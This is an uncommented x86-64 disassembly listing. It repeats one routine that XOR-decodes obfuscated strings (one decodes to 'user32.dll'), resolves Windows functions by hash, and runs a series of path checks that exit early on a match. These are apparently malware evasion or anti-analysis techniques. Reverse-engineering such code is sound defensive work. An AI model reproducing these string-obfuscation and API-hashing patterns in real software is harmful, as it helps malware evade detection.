lea rcx, [rbp + 0x440]
call fcn.1422dad14
test al, al
jne 0x1422d49ab
xor edx, edx
lea rcx, [rbp + 0x440]
mov r8d, 0x104
call fcn.1422d8db8
movdqa xmm0, xmmword [0x1422db2e0]
xor ecx, ecx
movdqu xmmword [rbp + 0x348], xmm0
mov dword [rbp + 0x358], 0x7a7a7d6d
mov dword [rbp + 0x35c], 0x79713b7e
mov word [rbp + 0x360], 0x1579
mov al, byte [rbp + 0x348]
xor byte [rbp + rcx + 0x349], al
inc rcx
cmp rcx, 0x18
jb 0x1422d34e4
mov byte [rbp + 0x361], 0
mov cl, 0x21
mov dword [rbp + 0x42], 0x44525421
xor eax, eax
mov dword [rbp + 0x46], 0xf131253
mov dword [rbp + 0x4a], 0x214d4d45
xor byte [rbp + rax + 0x43], cl
inc rax
cmp rax, 0xa
jae 0x1422d352c
mov cl, byte [rbp + 0x42]
jmp 0x1422d351a
movabs rdx, 0xbda4b20ba205
mov byte [rbp + 0x4d], 0
lea rcx, [rbp + 0x43]
call fcn.1422d1484
lea r8, [rbp + 0x810]
lea rdx, [rbp + 0x349]
lea rcx, [rbp + 0x440]
call rax
lea rcx, [rbp + 0x440]
call fcn.1422dad14
test al, al
jne 0x1422d49ab
xor edx, edx
lea rcx, [rbp + 0x440]
mov r8d, 0x104
call fcn.1422d8db8
movdqa xmm0, xmmword [0x1422db2c0]
xor ecx, ecx
movdqu xmmword [rbp + 0x321], xmm0
mov dword [rbp + 0x331], 0x6f657a6f
mov dword [rbp + 0x335], 0x73396779
mov word [rbp + 0x339], 0x7b7b
mov byte [rbp + 0x33b], 0x17
mov al, byte [rbp + 0x321]
xor byte [rbp + rcx + 0x322], al
inc rcx
cmp rcx, 0x19
jb 0x1422d35b8
mov byte [rbp + 0x33b], 0
mov cl, 0x3e
mov dword [rbp + 0xae], 0x5b4d4b3e
xor eax, eax
mov dword [rbp + 0xb2], 0x100c0d4c
mov dword [rbp + 0xb6], 0x3e52525a
xor byte [rbp + rax + 0xaf], cl
inc rax
cmp rax, 0xa
jae 0x1422d360f
mov cl, byte [rbp + 0xae]
jmp 0x1422d35f7
movabs rdx, 0xbda4b20ba205
mov byte [rbp + 0xb9], 0
lea rcx, [rbp + 0xaf]
call fcn.1422d1484
lea r8, [rbp + 0x810]
lea rdx, [rbp + 0x322]
lea rcx, [rbp + 0x440]
call rax
lea rcx, [rbp + 0x440]
call fcn.1422dad14
test al, al
jne 0x1422d49ab
xor edx, edx
lea rcx, [rbp + 0x440]
mov r8d, 0x104
call fcn.1422d8db8
movdqa xmm0, xmmword [0x1422db1e0]
xor ecx, ecx
movdqu xmmword [rbp + 0x396], xmm0
mov dword [rbp + 0x3a6], 0x4e454d5a
mov dword [rbp + 0x3aa], 0x4e4e460c
mov byte [rbp + 0x3ae], 0x22
mov al, byte [rbp + 0x396]
xor byte [rbp + rcx + 0x397], al
inc rcx
cmp rcx, 0x17
jb 0x1422d3698
mov byte [rbp + 0x3ae], 0
mov cl, 0x3f
mov dword [rbp + 0xba], 0x5a4c4a3f
xor eax, eax
mov dword [rbp + 0xbe], 0x110d0c4d
mov dword [rbp + 0xc2], 0x3f53535b
xor byte [rbp + rax + 0xbb], cl
inc rax
cmp rax, 0xa
jae 0x1422d36ef
mov cl, byte [rbp + 0xba]
jmp 0x1422d36d7
movabs rdx, 0xbda4b20ba205
mov byte [rbp + 0xc5], 0
lea rcx, [rbp + 0xbb]
call fcn.1422d1484
lea r8, [rbp + 0x810]
lea rdx, [rbp + 0x397]
lea rcx, [rbp + 0x440]
call rax
lea rcx, [rbp + 0x440]
call fcn.1422dad14
test al, al
jne 0x1422d49ab
xor edx, edx
lea rcx, [rbp + 0x440]
mov r8d, 0x104
call fcn.1422d8db8
movdqa xmm0, xmmword [0x1422db220]
xor ecx, ecx
movdqa xmm1, xmmword [0x1422db200]
movdqu xmmword [rbp + 0x5fd], xmm0
mov byte [rbp + 0x61d], 0x34
movdqu xmmword [rbp + 0x60d], xmm1
mov al, byte [rbp + 0x5fd]
xor byte [rbp + rcx + 0x5fe], al
inc rcx
cmp rcx, 0x1f
jb 0x1422d3774
mov byte [rbp + 0x61d], 0
mov cl, 0x5a
mov dword [rbp + 0xc6], 0x3f292f5a
xor eax, eax
mov dword [rbp + 0xca], 0x74686928
mov dword [rbp + 0xce], 0x5a36363e
xor byte [rbp + rax + 0xc7], cl
inc rax
cmp rax, 0xa
jae 0x1422d37cb
mov cl, byte [rbp + 0xc6]
jmp 0x1422d37b3
movabs rdx, 0xbda4b20ba205
mov byte [rbp + 0xd1], 0
lea rcx, [rbp + 0xc7]
call fcn.1422d1484
lea r8, [rbp + 0x810]
lea rdx, [rbp + 0x5fe]
lea rcx, [rbp + 0x440]
call rax
lea rcx, [rbp + 0x440]
call fcn.1422dad14
test al, al
jne 0x1422d49ab
xor edx, edx
lea rcx, [rbp + 0x440]
mov r8d, 0x104
call fcn.1422d8db8
movdqa xmm0, xmmword [0x1422db1b0]
xor ecx, ecx
movdqu xmmword [rbp + 0x2aa], xmm0
mov dword [rbp + 0x2ba], 0x464d4552
mov dword [rbp + 0x2be], 0x5e5f5849
mov dword [rbp + 0x2c2], 0x4e044643
mov word [rbp + 0x2c6], 0x4646
mov byte [rbp + 0x2c8], 0x2a
mov al, byte [rbp + 0x2aa]
xor byte [rbp + rcx + 0x2ab], al
inc rcx
cmp rcx, 0x1d
jb 0x1422d3867
mov byte [rbp + 0x2c8], 0
mov cl, 0x3a
mov dword [rbp + 0xd2], 0x5f494f3a
xor eax, eax
mov dword [rbp + 0xd6], 0x14080948
mov dword [rbp + 0xda], 0x3a56565e
xor byte [rbp + rax + 0xd3], cl
inc rax
cmp rax, 0xa
jae 0x1422d38be
mov cl, byte [rbp + 0xd2]
jmp 0x1422d38a6
movabs rdx, 0xbda4b20ba205
mov byte [rbp + 0xdd], 0
lea rcx, [rbp + 0xd3]
call fcn.1422d1484
lea r8, [rbp + 0x810]
lea rdx, [rbp + 0x2ab]
lea rcx, [rbp + 0x440]
call rax
lea rcx, [rbp + 0x440]
call fcn.1422dad14
test al, al
jne 0x1422d49ab
xor edx, edx
lea rcx, [rbp + 0x440]
mov r8d, 0x104
call fcn.1422d8db8
movdqa xmm0, xmmword [str._b_b]
xor ecx, ecx
movdqa xmm1, xmmword [0x1422db0c0]
movdqu xmmword [rbp + 0x61e], xmm0
mov byte [rbp + 0x63e], 0x7b
movdqu xmmword [rbp + 0x62e], xmm1
mov al, byte [rbp + 0x61e]
xor byte [rbp + rcx + 0x61f], al
inc rcx
cmp rcx, 0x1f
jb 0x1422d3943
mov byte [rbp + 0x63e], 0
mov cl, 5
mov dword [rbp + 0xde], 0x60767005
xor eax, eax
mov dword [rbp + 0xe2], 0x2b373677
mov dword [rbp + 0xe6], 0x5696961
xor byte [rbp + rax + 0xdf], cl
inc rax
cmp rax, 0xa
jae 0x1422d399a
mov cl, byte [rbp + 0xde]
jmp 0x1422d3982
movabs rdx, 0xbda4b20ba205
mov byte [rbp + 0xe9], 0
lea rcx, [rbp + 0xdf]
call fcn.1422d1484
lea r8, [rbp + 0x810]
lea rdx, [rbp + 0x61f]
lea rcx, [rbp + 0x440]
call rax
lea rcx, [rbp + 0x440]
call fcn.1422dad14
test al, al
jne 0x1422d49ab
xor edx, edx
lea rcx, [rbp + 0x440]
mov r8d, 0x104
call fcn.1422d8db8
movdqa xmm0, xmmword [0x1422db1c0]
xor ecx, ecx
movdqa xmm1, xmmword [0x1422db070]
movdqu xmmword [rbp + 0x40f], xmm0
mov dword [rbp + 0x42f], 0x24484840
movdqu xmmword [rbp + 0x41f], xmm1
mov al, byte [rbp + 0x40f]
xor byte [rbp + rcx + 0x410], al
inc rcx
cmp rcx, 0x22
jb 0x1422d3a22
mov byte [rbp + 0x432], 0
mov cl, 0x6d
mov dword [rbp + 0xea], 0x81e186d
xor eax, eax
mov dword [rbp + 0xee], 0x435f5e1f
mov dword [rbp + 0xf2], 0x6d010109
xor byte [rbp + rax + 0xeb], cl
inc rax
cmp rax, 0xa
jae 0x1422d3a79
mov cl, byte [rbp + 0xea]
jmp 0x1422d3a61
movabs rdx, 0xbda4b20ba205
mov byte [rbp + 0xf5], 0
lea rcx, [rbp + 0xeb]
call fcn.1422d1484
lea r8, [rbp + 0x810]
lea rdx, [rbp + 0x410]
lea rcx, [rbp + 0x440]
call rax
lea rcx, [rbp + 0x440]
call fcn.1422dad14
test al, al
jne 0x1422d49ab
xor edx, edx
lea rcx, [rbp + 0x440]
mov r8d, 0x104
call fcn.1422d8db8
movdqa xmm0, xmmword [0x1422db2a0]
xor ecx, ecx
movdqa xmm1, xmmword [str.erzqmvnmh3yqq]
movdqu xmmword [rbp + 0x681], xmm0
movdqu xmmword [rbp + 0x691], xmm1
mov al, byte [rbp + 0x681]
xor byte [rbp + rcx + 0x682], al
inc rcx
cmp rcx, 0x1e
jb 0x1422d3af7
mov byte [rbp + 0x6a0], 0
mov cl, 0x56
mov dword [rbp + 0xf6], 0x33252356
xor eax, eax
mov dword [rbp + 0xfa], 0x78646524
mov dword [rbp + 0xfe], 0x563a3a32
xor byte [rbp + rax + 0xf7], cl
inc rax
cmp rax, 0xa
jae 0x1422d3b4e
mov cl, byte [rbp + 0xf6]
jmp 0x1422d3b36
movabs rdx, 0xbda4b20ba205
mov byte [rbp + 0x101], 0
lea rcx, [rbp + 0xf7]
call fcn.1422d1484
lea r8, [rbp + 0x810]
lea rdx, [rbp + 0x682]
lea rcx, [rbp + 0x440]
call rax
lea rcx, [rbp + 0x440]
call fcn.1422dad14
test al, al
jne 0x1422d49ab
xor edx, edx
lea rcx, [rbp + 0x440]
mov r8d, 0x104
call fcn.1422d8db8
movdqa xmm0, xmmword [0x1422db100]
xor ecx, ecx
movdqa xmm1, xmmword [0x1422db180]
movdqu xmmword [rbp + 0x283], xmm0
mov dword [rbp + 0x2a3], 0x2a603b3e
movdqu xmmword [rbp + 0x293], xmm1
mov word [rbp + 0x2a7], 0x2222
mov byte [rbp + 0x2a9], 0x4e
mov al, byte [rbp + 0x283]
xor byte [rbp + rcx + 0x284], al
inc rcx
cmp rcx, 0x25
jb 0x1422d3be6
mov byte [rbp + 0x2a9], 0
mov cl, 0x46
mov dword [rbp + 0x102], 0x23353346
xor eax, eax
mov dword [rbp + 0x106], 0x68747534
mov dword [rbp + 0x10a], 0x462a2a22
xor byte [rbp + rax + 0x103], cl
inc rax
cmp rax, 0xa
jae 0x1422d3c3d
mov cl, byte [rbp + 0x102]
jmp 0x1422d3c25
movabs rdx, 0xbda4b20ba205
mov byte [rbp + 0x10d], 0
lea rcx, [rbp + 0x103]
call fcn.1422d1484
lea r8, [rbp + 0x810]
lea rdx, [rbp + 0x284]
lea rcx, [rbp + 0x440]
call rax
lea rcx, [rbp + 0x440]
call fcn.1422dad14
test al, al
jne 0x1422d49ab
xor edx, edx
lea rcx, [rbp + 0x440]
mov r8d, 0x104
call fcn.1422d8db8
movdqa xmm0, xmmword [0x1422db0a0]
xor ecx, ecx
movdqu xmmword [rbp + 0x2e7], xmm0
mov dword [rbp + 0x2f7], 0xe190f04
mov dword [rbp + 0x2fb], 0x191f150a
mov dword [rbp + 0x2ff], 0x19041952
mov byte [rbp + 0x303], sil
mov al, byte [rbp + 0x2e7]
xor byte [rbp + rcx + 0x2e8], al
inc rcx
cmp rcx, 0x1b
jb 0x1422d3cd0
mov byte [rbp + 0x303], 0
mov cl, 0x22
mov dword [rbp + 0x10e], 0x47515722
xor eax, eax
mov dword [rbp + 0x112], 0xc101150
mov dword [rbp + 0x116], 0x224e4e46
xor byte [rbp + rax + 0x10f], cl
inc rax
cmp rax, 0xa
jae 0x1422d3d27
mov cl, byte [rbp + 0x10e]
jmp 0x1422d3d0f
movabs rdx, 0xbda4b20ba205
mov byte [rbp + 0x119], 0
lea rcx, [rbp + 0x10f]
call fcn.1422d1484
lea r8, [rbp + 0x810]
lea rdx, [rbp + 0x2e8]
lea rcx, [rbp + 0x440]
call rax
lea rcx, [rbp + 0x440]
call fcn.1422dad14
test al, al
jne 0x1422d49ab
xor edx, edx
lea rcx, [rbp + 0x440]
mov r8d, 0x104
call fcn.1422d8db8
movdqa xmm0, xmmword [0x1422db250]
xor ecx, ecx
movdqu xmmword [rbp + 0x362], xmm0
mov dword [rbp + 0x372], 0x51424448
mov dword [rbp + 0x376], 0x48551e49
mov word [rbp + 0x37a], 0x3055
mov al, byte [rbp + 0x362]
xor byte [rbp + rcx + 0x363], al
inc rcx
cmp rcx, 0x18
jb 0x1422d3db2
mov byte [rbp + 0x37b], 0
mov cl, 5
mov dword [rbp + 0x11a], 0x60767005
xor eax, eax
mov dword [rbp + 0x11e], 0x2b373677
mov dword [rbp + 0x122], 0x5696961
xor byte [rbp + rax + 0x11b], cl
inc rax
cmp rax, 0xa
jae 0x1422d3e09
mov cl, byte [rbp + 0x11a]
jmp 0x1422d3df1
movabs rdx, 0xbda4b20ba205
mov byte [rbp + 0x125], 0
lea rcx, [rbp + 0x11b]
call fcn.1422d1484
lea r8, [rbp + 0x810]
lea rdx, [rbp + 0x363]
lea rcx, [rbp + 0x440]
call rax
lea rcx, [rbp + 0x440]
call fcn.1422dad14
test al, al
jne 0x1422d49ab
xor edx, edx
lea rcx, [rbp + 0x440]
mov r8d, 0x104
call fcn.1422d8db8
movdqa xmm0, xmmword [0x1422db030]
xor ecx, ecx
movdqu xmmword [rbp + 0x304], xmm0
mov dword [rbp + 0x314], 0x2032f14
mov dword [rbp + 0x318], 0x31e18
mov dword [rbp + 0x31c], 0x9140942
mov byte [rbp + 0x320], 0x6c
mov al, byte [rbp + 0x304]
xor byte [rbp + rcx + 0x305], al
inc rcx
cmp rcx, 0x1b
jb 0x1422d3e9c
mov byte [rbp + 0x320], 0
xor eax, eax
mov dword [rbp + 0x126], 0x21373144
mov dword [rbp + 0x12a], 0x6a767736
mov dword [rbp + 0x12e], 0x44282820
xor byte [rbp + rax + 0x127], dil
inc rax
cmp rax, 0xa
jae 0x1422d3ef3
mov dil, byte [rbp + 0x126]
jmp 0x1422d3ed9
xor edi, edi
lea rcx, [rbp + 0x127]
movabs rdx, 0xbda4b20ba205
mov byte [rbp + 0x131], dil
call fcn.1422d1484
lea r8, [rbp + 0x810]
lea rdx, [rbp + 0x305]
lea rcx, [rbp + 0x440]
call rax
lea rcx, [rbp + 0x440]
call fcn.1422dad14
test al, al
jne 0x1422d49ab
xor edx, edx
lea rcx, [rbp + 0x440]
mov r8d, 0x104
call fcn.1422d8db8
movdqa xmm0, xmmword [0x1422db110]
mov ecx, edi
movdqa xmm1, xmmword [0x1422db130]
movdqu xmmword [rbp + 0x63f], xmm0
mov byte [rbp + 0x65f], 0x40
movdqu xmmword [rbp + 0x64f], xmm1
mov al, byte [rbp + 0x63f]
xor byte [rbp + rcx + 0x640], al
inc rcx
cmp rcx, 0x1f
jb 0x1422d3f7a
mov byte [rbp + 0x65f], dil
mov cl, 0x29
mov dword [rbp + 0x132], 0x4c5a5c29
mov rax, rdi
mov dword [rbp + 0x136], 0x71b1a5b
mov dword [rbp + 0x13a], 0x2945454d
xor byte [rbp + rax + 0x133], cl
inc rax
cmp rax, 0xa
jae 0x1422d3fd2
mov cl, byte [rbp + 0x132]
jmp 0x1422d3fba
movabs rdx, 0xbda4b20ba205
mov byte [rbp + 0x13d], dil
lea rcx, [rbp + 0x133]
call fcn.1422d1484
lea r8, [rbp + 0x810]
lea rdx, [rbp + 0x640]
lea rcx, [rbp + 0x440]
call rax
lea rcx, [rbp + 0x440]
call fcn.1422dad14
test al, al
jne 0x1422d49ab
xor edx, edx
lea rcx, [rbp + 0x440]
mov r8d, 0x104
call fcn.1422d8db8
movdqa xmm0, xmmword [0x1422db210]
mov rcx, rdi
movdqa xmm1, xmmword [0x1422db140]
movdqu xmmword [rbp + 0x6a1], xmm0
movdqu xmmword [rbp + 0x6b1], xmm1
mov al, byte [rbp + 0x6a1]
xor byte [rbp + rcx + 0x6a2], al
inc rcx
cmp rcx, 0x1e
jb 0x1422d4051
mov byte [rbp + 0x6c0], dil
mov rax, rdi
mov dword [rbp + 0x13e], 0x4e585e2b
mov dword [rbp + 0x142], 0x5191859
mov dword [rbp + 0x146], 0x2b47474f
xor byte [rbp + rax + 0x13f], bl
inc rax
cmp rax, 0xa
jae 0x1422d40a7
mov bl, byte [rbp + 0x13e]
jmp 0x1422d408f
movabs rbx, 0xbda4b20ba205
mov byte [rbp + 0x149], dil
mov rdx, rbx
lea rcx, [rbp + 0x13f]
call fcn.1422d1484
lea r8, [rbp + 0x810]
lea rdx, [rbp + 0x6a2]
lea rcx, [rbp + 0x440]
call rax
lea rcx, [rbp + 0x440]
call fcn.1422dad14
test al, al
jne 0x1422d49ab
xor edx, edx
lea rcx, [rbp + 0x440]
mov r8d, 0x104
call fcn.1422d8db8
movdqa xmm0, xmmword [0x1422db240]
mov rcx, rdi
movdqa xmm1, xmmword [0x1422db160]
movdqu xmmword [rbp + 0x6c1], xmm0
movdqu xmmword [rbp + 0x6d1], xmm1
mov al, byte [rbp + 0x6c1]
xor byte [rbp + rcx + 0x6c2], al
inc rcx
cmp rcx, 0x1e
jb 0x1422d4129
mov byte [rbp + 0x6e0], dil
mov cl, 0x64
mov dword [rbp + 0x36], 0x1171164
mov rax, rdi
mov dword [rbp + 0x3a], 0x4a565716
mov dword [rbp + 0x3e], 0x64080800
xor byte [rbp + rax + 0x37], cl
inc rax
cmp rax, 0xa
jae 0x1422d4172
mov cl, byte [rbp + 0x36]
jmp 0x1422d4160
mov rdx, rbx
mov byte [rbp + 0x41], dil
lea rcx, [rbp + 0x37]
call fcn.1422d1484
lea r8, [rbp + 0x810]
lea rdx, [rbp + 0x6c2]
lea rcx, [rbp + 0x440]
call rax
lea rcx, [rbp + 0x440]
call fcn.1422dad14
test al, al
jne 0x1422d49ab
xor edx, edx
lea rcx, [rbp + 0x440]
mov r8d, 0x104
call fcn.1422d8db8
movdqa xmm0, xmmword [0x1422db050]
mov rcx, rdi
movdqu xmmword [rbp + 0x2c9], xmm0
mov dword [rbp + 0x2d9], 0x13120516
mov dword [rbp + 0x2dd], 0x30d163c
mov dword [rbp + 0x2e1], 0x19134e09
mov word [rbp + 0x2e5], 0x6013
mov al, byte [rbp + 0x2c9]
xor byte [rbp + rcx + 0x2ca], al
inc rcx
cmp rcx, 0x1c
jb 0x1422d41fb
mov byte [rbp + 0x2e6], dil
mov rax, rdi
mov dword [rbp + 0x14a], 0x190f097c
mov dword [rbp + 0x14e], 0x524e4f0e
mov dword [rbp + 0x152], 0x7c101018
xor byte [rbp + rax + 0x14b], sil
inc rax
cmp rax, 0xa
jae 0x1422d4253
mov sil, byte [rbp + 0x14a]
jmp 0x1422d4239
mov rdx, rbx
mov byte [rbp + 0x155], dil
lea rcx, [rbp + 0x14b]
call fcn.1422d1484
lea r8, [rbp + 0x810]
lea rdx, [rbp + 0x2ca]
lea rcx, [rbp + 0x440]
call rax
lea rcx, [rbp + 0x440]
call fcn.1422dad14
test al, al
jne 0x1422d49ab
mov esi, 0x104
lea rcx, [rbp + 0x440]
mov r8d, esi
xor edx, edx
call fcn.1422d8db8
movdqa xmm0, xmmword [0x1422db190]
mov rcx, rdi
movdqa xmm1, xmmword [0x1422db1f0]
movdqu xmmword [rbp + 0x6e1], xmm0
movdqu xmmword [rbp + 0x6f1], xmm1
mov al, byte [rbp + 0x6e1]
xor byte [rbp + rcx + 0x6e2], al
inc rcx
cmp rcx, 0x1e
jb 0x1422d42cd
mov byte [rbp + 0x700], dil
mov cl, 0x25
mov dword [rbp + 0x156], 0x40565025
mov rax, rdi
mov dword [rbp + 0x15a], 0xb171657
mov dword [rbp + 0x15e], 0x25494941
xor byte [rbp + rax + 0x157], cl
inc rax
cmp rax, 0xa
jae 0x1422d4325
mov cl, byte [rbp + 0x156]
jmp 0x1422d430d
mov rdx, rbx
mov byte [rbp + 0x161], dil
lea rcx, [rbp + 0x157]
call fcn.1422d1484
lea r8, [rbp + 0x810]
lea rdx, [rbp + 0x6e2]
lea rcx, [rbp + 0x440]
call rax
lea rcx, [rbp + 0x440]
call fcn.1422dad14
test al, al
jne 0x1422d49ab
mov r8, rsi
lea rcx, [rbp + 0x440]
xor edx, edx
call fcn.1422d8db8
movdqa xmm0, xmmword [0x1422db230]
mov rcx, rdi
movdqa xmm1, xmmword [0x1422db1d0]
movdqu xmmword [rbp + 0x5db], xmm0
mov word [rbp + 0x5fb], 0x3546
movdqu xmmword [rbp + 0x5eb], xmm1
mov al, byte [rbp + 0x5db]
xor byte [rbp + rcx + 0x5dc], al
inc rcx
cmp rcx, 0x20
jb 0x1422d43a3
mov byte [rbp + 0x5fc], dil
mov rax, rdi
mov dword [rbp + 0x162], 0x2f393f4a
mov dword [rbp + 0x166], 0x64787938
mov dword [rbp + 0x16a], 0x4a26262e
xor byte [rbp + rax + 0x163], r15b
inc rax
cmp rax, 0xa
jae 0x1422d43fb
mov al, 1
add rsp, 0xc48
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbx
pop rbp
ret